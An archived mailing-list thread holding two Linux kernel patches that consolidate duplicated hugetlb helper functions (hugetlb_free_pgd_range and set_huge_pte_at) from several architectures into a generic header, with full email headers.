Subject: [PATCH v7 02/11] hugetlb: Introduce generic version of
 hugetlb_free_pgd_range
Date: Thu, 20 Sep 2018 06:03:49 +0000
Lines: 287
Approved: news@gmane.org
Message-ID: <20180920060358.16606-3-alex@ghiti.fr>
References: <20180920060358.16606-1-alex@ghiti.fr>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1537423526 17512 195.159.176.226 (20 Sep 2018 06:05:26 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 20 Sep 2018 06:05:26 +0000 (UTC)
Cc: linux-mips@linux-mips.org, dalias@libc.org, linux-ia64@vger.kernel.org,
 linux-sh@vger.kernel.org, benh@kernel.crashing.org, will.deacon@arm.com,
 jejb@parisc-linux.org, linux-mm@kvack.org, paulus@samba.org, hpa@zytor.com,
 sparclinux@vger.kernel.org, linux-arch@vger.kernel.org,
 ysato@users.sourceforge.jp, mpe@ellerman.id.au, deller@gmx.de, x86@kernel.org,
 linux@armlinux.org.uk, mingo@redhat.com, catalin.marinas@arm.com,
 jhogan@kernel.org, fenghua.yu@intel.com, arnd@arndb.de, tglx@linutronix.de,
 linux-arm-kernel@lists.infradead.org, tony.luck@intel.com,
 Alexandre Ghiti <alex@ghiti.fr>, linux-parisc@vger.kernel.org,
 linux-kernel@vger.kernel.org, ralf@linux-mips.org, paul.burton@mips.com,
 linuxppc-dev@lists.ozlabs.org, davem@davemloft.net, mike.kravetz@oracle.com
To: akpm@linux-foundation.org
Original-X-From: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org Thu Sep 20 08:05:19 2018
Return-path: <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>
Envelope-to: linux-arm-kernel@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>)
	id 1g2s5S-0004Kt-2E
	for linux-arm-kernel@m.gmane.org; Thu, 20 Sep 2018 08:05:14 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:MIME-Version:Cc:List-Subscribe:
	List-Help:List-Post:List-Archive:List-Unsubscribe:List-Id:References:
	In-Reply-To:Message-Id:Date:Subject:To:From:Reply-To:Content-ID:
	Content-Description:Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc
	:Resent-Message-ID:List-Owner;
	bh=IgUYbc0mSrGGPHZAVK+ih6kkHEMsyIjLIfgLwEfgTpU=; b=ImpC+6dYQ+vBCCdTbSzPpiLQ4Z
	wx9QTy6rHBgedVdxja7AK/GzHEQM0OJivUJONFbQQ8CQcUv9Cpz+5mxqEGfml9BDisWXr9pMVROxA
	P1RGo5qEoubWU19dEE5LGLpIUdYkF07TAf23pd+RDcRBx5XCtUDlKuzYLEMoA6Mm4K6wvZmhTsr/P
	o0KIEV2j5t/Qq6Se9mrMMZOJIE9qO8wxj0ntLET1b2UbmUjLvMlCpJXcFGDB2GHjVNmxtK+3+ZsOU
	/7MVQ6GAKrgUYJKtGeantEXGbBUZY3KzUH1vidT/CAocMSz7bYgd+UMN/YDMk6KcGQUizKim1a9V3
	SnbLemVw==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1g2s7V-00077b-9n; Thu, 20 Sep 2018 06:07:21 +0000
Original-Received: from merlin.infradead.org ([2001:8b0:10b:1231::1])
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1g2s7O-00077O-1e
 for linux-arm-kernel@bombadil.infradead.org; Thu, 20 Sep 2018 06:07:14 +0000
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
 d=infradead.org; s=merlin.20170209; h=References:In-Reply-To:Message-Id:Date:
 Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
 Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
 Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
 List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
 bh=jNYJHxbEwjB/4r5ca/Xp1V7+oik8+EhvHa2Lwxf6QeQ=; b=h9ckFOyXs1YKloc7ZUJN51X/R
 zXvB5gCsguslypzK+epxXH/4Xr4qY/9wiAvwv5YL5vL2jf8Jw2AFJpJKXzgaOAJ+rQxps7eBFP4WM
 SSL66BisTdgXUFVEL6eQHaupL3QDXUuXLTRETPpBudfdafmbVooY4ukw21dq/UCqD2a5ki45wd/Eo
 Ls7SCerDyLA/9SUIUjeuTDMQBQo6fLh4eHeJWJKlwulnn+HeMv2TTiCygmsNwhs24IpHqSgXnKf+C
 fS0+K7ETBkogx6AQOzI3YnOgTHGosLkaFxoIElUtoMQvoCWtyXvmNTaCOsx4ptmyn+nLXnE/VYyBY
 bX74EP1sg==;
Original-Received: from relay9-d.mail.gandi.net ([217.70.183.199])
 by merlin.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1g2s7K-0007jz-GN
 for linux-arm-kernel@lists.infradead.org; Thu, 20 Sep 2018 06:07:11 +0000
X-Originating-IP: 79.86.19.127
Original-Received: from alex.numericable.fr (127.19.86.79.rev.sfr.net [79.86.19.127])
 (Authenticated sender: alex@ghiti.fr)
 by relay9-d.mail.gandi.net (Postfix) with ESMTPSA id A5DFDFF806;
 Thu, 20 Sep 2018 06:06:19 +0000 (UTC)
X-Mailer: git-send-email 2.16.2
In-Reply-To: <20180920060358.16606-1-alex@ghiti.fr>
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20180920_020710_724009_FD53BE3C 
X-CRM114-Status: GOOD (  13.94  )
X-Spam-Score: -0.7 (/)
X-Spam-Report: SpamAssassin version 3.4.1 on merlin.infradead.org summary:
 Content analysis details:   (-0.7 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.7 RCVD_IN_DNSWL_LOW      RBL: Sender listed at http://www.dnswl.org/, low
 trust [217.70.183.199 listed in list.dnswl.org]
X-BeenThere: linux-arm-kernel@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: <linux-arm-kernel.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-arm-kernel>, 
 <mailto:linux-arm-kernel-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-arm-kernel/>
List-Post: <mailto:linux-arm-kernel@lists.infradead.org>
List-Help: <mailto:linux-arm-kernel-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-arm-kernel>, 
 <mailto:linux-arm-kernel-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-arm-kernel" <linux-arm-kernel-bounces@lists.infradead.org>
Errors-To: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.ports.arm.kernel:675042 gmane.linux.ports.mips.general:66737 gmane.linux.ports.ia64:29251 gmane.linux.ports.sh.devel:57526 gmane.linux.kernel.mm:203577 gmane.linux.ports.sparc:28448 gmane.linux.kernel.cross-arch:46622 gmane.linux.ports.parisc:28978 gmane.linux.kernel:2876056 gmane.linux.ports.ppc64.devel:162756
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.arm.kernel/675042>

arm, arm64, mips, parisc, sh, x86 architectures use the
same version of hugetlb_free_pgd_range, so move this generic
implementation into asm-generic/hugetlb.h.

Signed-off-by: Alexandre Ghiti <alex@ghiti.fr>
Tested-by: Helge Deller <deller@gmx.de> # parisc
Acked-by: Catalin Marinas <catalin.marinas@arm.com> # arm64
Acked-by: Paul Burton <paul.burton@mips.com> # MIPS parts
Acked-by: Ingo Molnar <mingo@kernel.org> # x86
Reviewed-by: Luiz Capitulino <lcapitulino@redhat.com>
Reviewed-by: Mike Kravetz <mike.kravetz@oracle.com>
---
 arch/arm/include/asm/hugetlb.h     |  9 ---------
 arch/arm64/include/asm/hugetlb.h   | 10 ----------
 arch/ia64/include/asm/hugetlb.h    |  5 +++--
 arch/mips/include/asm/hugetlb.h    | 13 ++-----------
 arch/parisc/include/asm/hugetlb.h  | 12 ++----------
 arch/powerpc/include/asm/hugetlb.h |  4 +++-
 arch/sh/include/asm/hugetlb.h      | 12 ++----------
 arch/sparc/include/asm/hugetlb.h   |  4 +++-
 arch/x86/include/asm/hugetlb.h     |  8 --------
 include/asm-generic/hugetlb.h      | 11 +++++++++++
 10 files changed, 26 insertions(+), 62 deletions(-)

diff --git a/arch/arm/include/asm/hugetlb.h b/arch/arm/include/asm/hugetlb.h
index 7d26f6c4f0f5..537660891f9f 100644
--- a/arch/arm/include/asm/hugetlb.h
+++ b/arch/arm/include/asm/hugetlb.h
@@ -27,15 +27,6 @@
 
 #include <asm/hugetlb-3level.h>
 
-static inline void hugetlb_free_pgd_range(struct mmu_gather *tlb,
-					  unsigned long addr, unsigned long end,
-					  unsigned long floor,
-					  unsigned long ceiling)
-{
-	free_pgd_range(tlb, addr, end, floor, ceiling);
-}
-
-
 static inline int is_hugepage_only_range(struct mm_struct *mm,
 					 unsigned long addr, unsigned long len)
 {
diff --git a/arch/arm64/include/asm/hugetlb.h b/arch/arm64/include/asm/hugetlb.h
index 3fcf14663dfa..4af1a800a900 100644
--- a/arch/arm64/include/asm/hugetlb.h
+++ b/arch/arm64/include/asm/hugetlb.h
@@ -25,16 +25,6 @@ static inline pte_t huge_ptep_get(pte_t *ptep)
 	return READ_ONCE(*ptep);
 }
 
-
-
-static inline void hugetlb_free_pgd_range(struct mmu_gather *tlb,
-					  unsigned long addr, unsigned long end,
-					  unsigned long floor,
-					  unsigned long ceiling)
-{
-	free_pgd_range(tlb, addr, end, floor, ceiling);
-}
-
 static inline int is_hugepage_only_range(struct mm_struct *mm,
 					 unsigned long addr, unsigned long len)
 {
diff --git a/arch/ia64/include/asm/hugetlb.h b/arch/ia64/include/asm/hugetlb.h
index 74d2a5540aaf..afe9fa4d969b 100644
--- a/arch/ia64/include/asm/hugetlb.h
+++ b/arch/ia64/include/asm/hugetlb.h
@@ -3,9 +3,8 @@
 #define _ASM_IA64_HUGETLB_H
 
 #include <asm/page.h>
-#include <asm-generic/hugetlb.h>
-
 
+#define __HAVE_ARCH_HUGETLB_FREE_PGD_RANGE
 void hugetlb_free_pgd_range(struct mmu_gather *tlb, unsigned long addr,
 			    unsigned long end, unsigned long floor,
 			    unsigned long ceiling);
@@ -70,4 +69,6 @@ static inline void arch_clear_hugepage_flags(struct page *page)
 {
 }
 
+#include <asm-generic/hugetlb.h>
+
 #endif /* _ASM_IA64_HUGETLB_H */
diff --git a/arch/mips/include/asm/hugetlb.h b/arch/mips/include/asm/hugetlb.h
index 982bc0685330..53764050243e 100644
--- a/arch/mips/include/asm/hugetlb.h
+++ b/arch/mips/include/asm/hugetlb.h
@@ -10,8 +10,6 @@
 #define __ASM_HUGETLB_H
 
 #include <asm/page.h>
-#include <asm-generic/hugetlb.h>
-
 
 static inline int is_hugepage_only_range(struct mm_struct *mm,
 					 unsigned long addr,
@@ -38,15 +36,6 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
-static inline void hugetlb_free_pgd_range(struct mmu_gather *tlb,
-					  unsigned long addr,
-					  unsigned long end,
-					  unsigned long floor,
-					  unsigned long ceiling)
-{
-	free_pgd_range(tlb, addr, end, floor, ceiling);
-}
-
 static inline void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
 				   pte_t *ptep, pte_t pte)
 {
@@ -114,4 +103,6 @@ static inline void arch_clear_hugepage_flags(struct page *page)
 {
 }
 
+#include <asm-generic/hugetlb.h>
+
 #endif /* __ASM_HUGETLB_H */
diff --git a/arch/parisc/include/asm/hugetlb.h b/arch/parisc/include/asm/hugetlb.h
index 58e0f4620426..28c23b68d38d 100644
--- a/arch/parisc/include/asm/hugetlb.h
+++ b/arch/parisc/include/asm/hugetlb.h
@@ -3,8 +3,6 @@
 #define _ASM_PARISC64_HUGETLB_H
 
 #include <asm/page.h>
-#include <asm-generic/hugetlb.h>
-
 
 void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
 		     pte_t *ptep, pte_t pte);
@@ -32,14 +30,6 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
-static inline void hugetlb_free_pgd_range(struct mmu_gather *tlb,
-					  unsigned long addr, unsigned long end,
-					  unsigned long floor,
-					  unsigned long ceiling)
-{
-	free_pgd_range(tlb, addr, end, floor, ceiling);
-}
-
 static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 					 unsigned long addr, pte_t *ptep)
 {
@@ -71,4 +61,6 @@ static inline void arch_clear_hugepage_flags(struct page *page)
 {
 }
 
+#include <asm-generic/hugetlb.h>
+
 #endif /* _ASM_PARISC64_HUGETLB_H */
diff --git a/arch/powerpc/include/asm/hugetlb.h b/arch/powerpc/include/asm/hugetlb.h
index 2d00cc530083..2ab028b73a43 100644
--- a/arch/powerpc/include/asm/hugetlb.h
+++ b/arch/powerpc/include/asm/hugetlb.h
@@ -4,7 +4,6 @@
 
 #ifdef CONFIG_HUGETLB_PAGE
 #include <asm/page.h>
-#include <asm-generic/hugetlb.h>
 
 extern struct kmem_cache *hugepte_cache;
 
@@ -110,6 +109,7 @@ static inline void flush_hugetlb_page(struct vm_area_struct *vma,
 void flush_hugetlb_page(struct vm_area_struct *vma, unsigned long vmaddr);
 #endif
 
+#define __HAVE_ARCH_HUGETLB_FREE_PGD_RANGE
 void hugetlb_free_pgd_range(struct mmu_gather *tlb, unsigned long addr,
 			    unsigned long end, unsigned long floor,
 			    unsigned long ceiling);
@@ -176,6 +176,8 @@ static inline void arch_clear_hugepage_flags(struct page *page)
 {
 }
 
+#include <asm-generic/hugetlb.h>
+
 #else /* ! CONFIG_HUGETLB_PAGE */
 static inline void flush_hugetlb_page(struct vm_area_struct *vma,
 				      unsigned long vmaddr)
diff --git a/arch/sh/include/asm/hugetlb.h b/arch/sh/include/asm/hugetlb.h
index 735939c0f513..f6a51b609409 100644
--- a/arch/sh/include/asm/hugetlb.h
+++ b/arch/sh/include/asm/hugetlb.h
@@ -4,8 +4,6 @@
 
 #include <asm/cacheflush.h>
 #include <asm/page.h>
-#include <asm-generic/hugetlb.h>
-
 
 static inline int is_hugepage_only_range(struct mm_struct *mm,
 					 unsigned long addr,
@@ -27,14 +25,6 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
-static inline void hugetlb_free_pgd_range(struct mmu_gather *tlb,
-					  unsigned long addr, unsigned long end,
-					  unsigned long floor,
-					  unsigned long ceiling)
-{
-	free_pgd_range(tlb, addr, end, floor, ceiling);
-}
-
 static inline void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
 				   pte_t *ptep, pte_t pte)
 {
@@ -85,4 +75,6 @@ static inline void arch_clear_hugepage_flags(struct page *page)
 	clear_bit(PG_dcache_clean, &page->flags);
 }
 
+#include <asm-generic/hugetlb.h>
+
 #endif /* _ASM_SH_HUGETLB_H */
diff --git a/arch/sparc/include/asm/hugetlb.h b/arch/sparc/include/asm/hugetlb.h
index 300557c66698..59d89b52ccb7 100644
--- a/arch/sparc/include/asm/hugetlb.h
+++ b/arch/sparc/include/asm/hugetlb.h
@@ -3,7 +3,6 @@
 #define _ASM_SPARC64_HUGETLB_H
 
 #include <asm/page.h>
-#include <asm-generic/hugetlb.h>
 
 #ifdef CONFIG_HUGETLB_PAGE
 struct pud_huge_patch_entry {
@@ -84,8 +83,11 @@ static inline void arch_clear_hugepage_flags(struct page *page)
 {
 }
 
+#define __HAVE_ARCH_HUGETLB_FREE_PGD_RANGE
 void hugetlb_free_pgd_range(struct mmu_gather *tlb, unsigned long addr,
 			    unsigned long end, unsigned long floor,
 			    unsigned long ceiling);
 
+#include <asm-generic/hugetlb.h>
+
 #endif /* _ASM_SPARC64_HUGETLB_H */
diff --git a/arch/x86/include/asm/hugetlb.h b/arch/x86/include/asm/hugetlb.h
index 5ed826da5e07..398da3b3414c 100644
--- a/arch/x86/include/asm/hugetlb.h
+++ b/arch/x86/include/asm/hugetlb.h
@@ -28,14 +28,6 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
-static inline void hugetlb_free_pgd_range(struct mmu_gather *tlb,
-					  unsigned long addr, unsigned long end,
-					  unsigned long floor,
-					  unsigned long ceiling)
-{
-	free_pgd_range(tlb, addr, end, floor, ceiling);
-}
-
 static inline void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
 				   pte_t *ptep, pte_t pte)
 {
diff --git a/include/asm-generic/hugetlb.h b/include/asm-generic/hugetlb.h
index 3da7cff52360..c697ca9dda18 100644
--- a/include/asm-generic/hugetlb.h
+++ b/include/asm-generic/hugetlb.h
@@ -40,4 +40,15 @@ static inline void huge_pte_clear(struct mm_struct *mm, unsigned long addr,
 }
 #endif
 
+#ifndef __HAVE_ARCH_HUGETLB_FREE_PGD_RANGE
+static inline void hugetlb_free_pgd_range(struct mmu_gather *tlb,
+		unsigned long addr, unsigned long end,
+		unsigned long floor, unsigned long ceiling)
+{
+	free_pgd_range(tlb, addr, end, floor, ceiling);
+}
+
+
+#endif
+
 #endif /* _ASM_GENERIC_HUGETLB_H */
-- 
2.16.2

From - Thu Nov 08 21:41:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Alexandre Ghiti <alex@ghiti.fr>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.mm,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: [PATCH v7 03/11] hugetlb: Introduce generic version of set_huge_pte_at
Date: Thu, 20 Sep 2018 06:03:50 +0000
Lines: 186
Approved: news@gmane.org
Message-ID: <20180920060358.16606-4-alex@ghiti.fr>
References: <20180920060358.16606-1-alex@ghiti.fr>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1537423538 18544 195.159.176.226 (20 Sep 2018 06:05:38 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 20 Sep 2018 06:05:38 +0000 (UTC)
Cc: linux-mm@kvack.org, mike.kravetz@oracle.com, linux@armlinux.org.uk,
        catalin.marinas@arm.com, will.deacon@arm.com, tony.luck@intel.com,
        fenghua.yu@intel.com, ralf@linux-mips.org, paul.burton@mips.com,
        jhogan@kernel.org, jejb@parisc-linux.org, deller@gmx.de,
        benh@kernel.crashing.org, paulus@samba.org, mpe@ellerman.id.au,
        ysato@users.sourceforge.jp, dalias@libc.org, davem@davemloft.net,
        tglx@linutronix.de, mingo@redhat.com, hpa@zytor.com,
        x86@kernel.org, arnd@arndb.de,
        linux-arm-kernel@lists.infradead.org, linux-kernel@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        linux-arch@vger.kernel.org, Alexandre Ghiti <alex@ghiti.fr>
To: akpm@linux-foundation.org
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Sep 20 08:05:31 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1g2s5g-0004a5-Dq
	for glk-linux-kernel-4@m.gmane.org; Thu, 20 Sep 2018 08:05:28 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1731734AbeITLtU (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Thu, 20 Sep 2018 07:49:20 -0400
Original-Received: from relay2-d.mail.gandi.net ([217.70.183.194]:55163 "EHLO
        relay2-d.mail.gandi.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1731260AbeITLtU (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Thu, 20 Sep 2018 07:49:20 -0400
X-Originating-IP: 79.86.19.127
Original-Received: from alex.numericable.fr (127.19.86.79.rev.sfr.net [79.86.19.127])
        (Authenticated sender: alex@ghiti.fr)
        by relay2-d.mail.gandi.net (Postfix) with ESMTPSA id DE4D64000C;
        Thu, 20 Sep 2018 06:07:27 +0000 (UTC)
X-Mailer: git-send-email 2.16.2
In-Reply-To: <20180920060358.16606-1-alex@ghiti.fr>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2876058 gmane.linux.kernel.mm:203578 gmane.linux.ports.arm.kernel:675043 gmane.linux.ports.ia64:29252 gmane.linux.ports.mips.general:66738 gmane.linux.ports.parisc:28979 gmane.linux.ports.ppc64.devel:162757 gmane.linux.ports.sh.devel:57527 gmane.linux.ports.sparc:28449 gmane.linux.kernel.cross-arch:46623
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2876058>

arm, ia64, mips, powerpc, sh, x86 architectures use the
same version of set_huge_pte_at, so move this generic
implementation into asm-generic/hugetlb.h.

Signed-off-by: Alexandre Ghiti <alex@ghiti.fr>
Tested-by: Helge Deller <deller@gmx.de> # parisc
Acked-by: Catalin Marinas <catalin.marinas@arm.com> # arm64
Acked-by: Paul Burton <paul.burton@mips.com> # MIPS parts
Acked-by: Ingo Molnar <mingo@kernel.org> # x86
Reviewed-by: Luiz Capitulino <lcapitulino@redhat.com>
Reviewed-by: Mike Kravetz <mike.kravetz@oracle.com>
---
 arch/arm/include/asm/hugetlb-3level.h | 6 ------
 arch/arm64/include/asm/hugetlb.h      | 1 +
 arch/ia64/include/asm/hugetlb.h       | 6 ------
 arch/mips/include/asm/hugetlb.h       | 6 ------
 arch/parisc/include/asm/hugetlb.h     | 1 +
 arch/powerpc/include/asm/hugetlb.h    | 6 ------
 arch/sh/include/asm/hugetlb.h         | 6 ------
 arch/sparc/include/asm/hugetlb.h      | 1 +
 arch/x86/include/asm/hugetlb.h        | 6 ------
 include/asm-generic/hugetlb.h         | 8 +++++++-
 10 files changed, 10 insertions(+), 37 deletions(-)

diff --git a/arch/arm/include/asm/hugetlb-3level.h b/arch/arm/include/asm/hugetlb-3level.h
index d4014fbe5ea3..398fb06e8207 100644
--- a/arch/arm/include/asm/hugetlb-3level.h
+++ b/arch/arm/include/asm/hugetlb-3level.h
@@ -37,12 +37,6 @@ static inline pte_t huge_ptep_get(pte_t *ptep)
 	return retval;
 }
 
-static inline void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
-				   pte_t *ptep, pte_t pte)
-{
-	set_pte_at(mm, addr, ptep, pte);
-}
-
 static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 					 unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/arm64/include/asm/hugetlb.h b/arch/arm64/include/asm/hugetlb.h
index 4af1a800a900..874661a1dff1 100644
--- a/arch/arm64/include/asm/hugetlb.h
+++ b/arch/arm64/include/asm/hugetlb.h
@@ -60,6 +60,7 @@ static inline void arch_clear_hugepage_flags(struct page *page)
 extern pte_t arch_make_huge_pte(pte_t entry, struct vm_area_struct *vma,
 				struct page *page, int writable);
 #define arch_make_huge_pte arch_make_huge_pte
+#define __HAVE_ARCH_HUGE_SET_HUGE_PTE_AT
 extern void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
 			    pte_t *ptep, pte_t pte);
 extern int huge_ptep_set_access_flags(struct vm_area_struct *vma,
diff --git a/arch/ia64/include/asm/hugetlb.h b/arch/ia64/include/asm/hugetlb.h
index afe9fa4d969b..a235d6f60fb3 100644
--- a/arch/ia64/include/asm/hugetlb.h
+++ b/arch/ia64/include/asm/hugetlb.h
@@ -20,12 +20,6 @@ static inline int is_hugepage_only_range(struct mm_struct *mm,
 		REGION_NUMBER((addr)+(len)-1) == RGN_HPAGE);
 }
 
-static inline void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
-				   pte_t *ptep, pte_t pte)
-{
-	set_pte_at(mm, addr, ptep, pte);
-}
-
 static inline pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
 					    unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/mips/include/asm/hugetlb.h b/arch/mips/include/asm/hugetlb.h
index 53764050243e..8ea439041d5d 100644
--- a/arch/mips/include/asm/hugetlb.h
+++ b/arch/mips/include/asm/hugetlb.h
@@ -36,12 +36,6 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
-static inline void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
-				   pte_t *ptep, pte_t pte)
-{
-	set_pte_at(mm, addr, ptep, pte);
-}
-
 static inline pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
 					    unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/parisc/include/asm/hugetlb.h b/arch/parisc/include/asm/hugetlb.h
index 28c23b68d38d..77c8adbac7c3 100644
--- a/arch/parisc/include/asm/hugetlb.h
+++ b/arch/parisc/include/asm/hugetlb.h
@@ -4,6 +4,7 @@
 
 #include <asm/page.h>
 
+#define __HAVE_ARCH_HUGE_SET_HUGE_PTE_AT
 void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
 		     pte_t *ptep, pte_t pte);
 
diff --git a/arch/powerpc/include/asm/hugetlb.h b/arch/powerpc/include/asm/hugetlb.h
index 2ab028b73a43..33b899624922 100644
--- a/arch/powerpc/include/asm/hugetlb.h
+++ b/arch/powerpc/include/asm/hugetlb.h
@@ -129,12 +129,6 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
-static inline void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
-				   pte_t *ptep, pte_t pte)
-{
-	set_pte_at(mm, addr, ptep, pte);
-}
-
 static inline pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
 					    unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/sh/include/asm/hugetlb.h b/arch/sh/include/asm/hugetlb.h
index f6a51b609409..bc552e37c1c9 100644
--- a/arch/sh/include/asm/hugetlb.h
+++ b/arch/sh/include/asm/hugetlb.h
@@ -25,12 +25,6 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
-static inline void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
-				   pte_t *ptep, pte_t pte)
-{
-	set_pte_at(mm, addr, ptep, pte);
-}
-
 static inline pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
 					    unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/sparc/include/asm/hugetlb.h b/arch/sparc/include/asm/hugetlb.h
index 59d89b52ccb7..16b0c53ea6c9 100644
--- a/arch/sparc/include/asm/hugetlb.h
+++ b/arch/sparc/include/asm/hugetlb.h
@@ -12,6 +12,7 @@ struct pud_huge_patch_entry {
 extern struct pud_huge_patch_entry __pud_huge_patch, __pud_huge_patch_end;
 #endif
 
+#define __HAVE_ARCH_HUGE_SET_HUGE_PTE_AT
 void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
 		     pte_t *ptep, pte_t pte);
 
diff --git a/arch/x86/include/asm/hugetlb.h b/arch/x86/include/asm/hugetlb.h
index 398da3b3414c..8db9a761964d 100644
--- a/arch/x86/include/asm/hugetlb.h
+++ b/arch/x86/include/asm/hugetlb.h
@@ -28,12 +28,6 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
-static inline void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
-				   pte_t *ptep, pte_t pte)
-{
-	set_pte_at(mm, addr, ptep, pte);
-}
-
 static inline pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
 					    unsigned long addr, pte_t *ptep)
 {
diff --git a/include/asm-generic/hugetlb.h b/include/asm-generic/hugetlb.h
index c697ca9dda18..ee010b756246 100644
--- a/include/asm-generic/hugetlb.h
+++ b/include/asm-generic/hugetlb.h
@@ -47,8 +47,14 @@ static inline void hugetlb_free_pgd_range(struct mmu_gather *tlb,
 {
 	free_pgd_range(tlb, addr, end, floor, ceiling);
 }
+#endif
 
-
+#ifndef __HAVE_ARCH_HUGE_SET_HUGE_PTE_AT
+static inline void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
+		pte_t *ptep, pte_t pte)
+{
+	set_pte_at(mm, addr, ptep, pte);
+}
 #endif
 
 #endif /* _ASM_GENERIC_HUGETLB_H */
-- 
2.16.2



From - Thu Nov 08 21:41:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Alexandre Ghiti <alex@ghiti.fr>
